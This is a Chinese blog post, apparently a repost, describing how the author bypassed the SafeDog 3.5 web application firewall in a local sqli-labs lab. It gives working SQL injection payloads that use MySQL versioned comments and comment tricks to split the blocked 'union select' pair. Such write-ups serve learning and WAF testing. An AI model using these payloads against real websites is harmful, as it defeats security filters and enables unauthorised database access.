安全狗3.5版本SQL注入绕过

  • Post author:
  • Post category:其他



环境搭建:

phpstudy+sqli-labs-master

安全狗版本:

出现问题:新版安全狗Apache服务无法启动问题

管理员模式启动cmd,进入phpstudy部署目录phpstudy_pro\Extensions\Apache2.4.39\bin下

执行命令:httpd -k install -n apache2.4

环境搭建完毕,验证安全狗正常拦截


开搞开搞!!!


从上面验证看来就是针对union 和select的组合进行拦截

网上研究了一早上都不行,就在差点放弃的时候看到一位老哥的分享,搞定!!!


?id=-1/**//*!60000xxx*//*!union*//**//*!60000xxx*//*!select*//**/1,2,3

/*!60000*/含义是mysql版本6以上才会执行中间的参数

之前试过?id=-1/**//*!50000union*//**//*!50000select*//**/1,2,3也不行,没想到/*!60000xxx*/这个操作,估计安全狗下个版本这个也搞不定了,如果大佬们有其他方法还请分享交流!

参考

https://www.freebuf.com/news/topnews/253220.html

?id=-1 union /*//–/*/ select 1,2,3(这个也行

参考文章



版权声明:本文为weixin_40052958原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。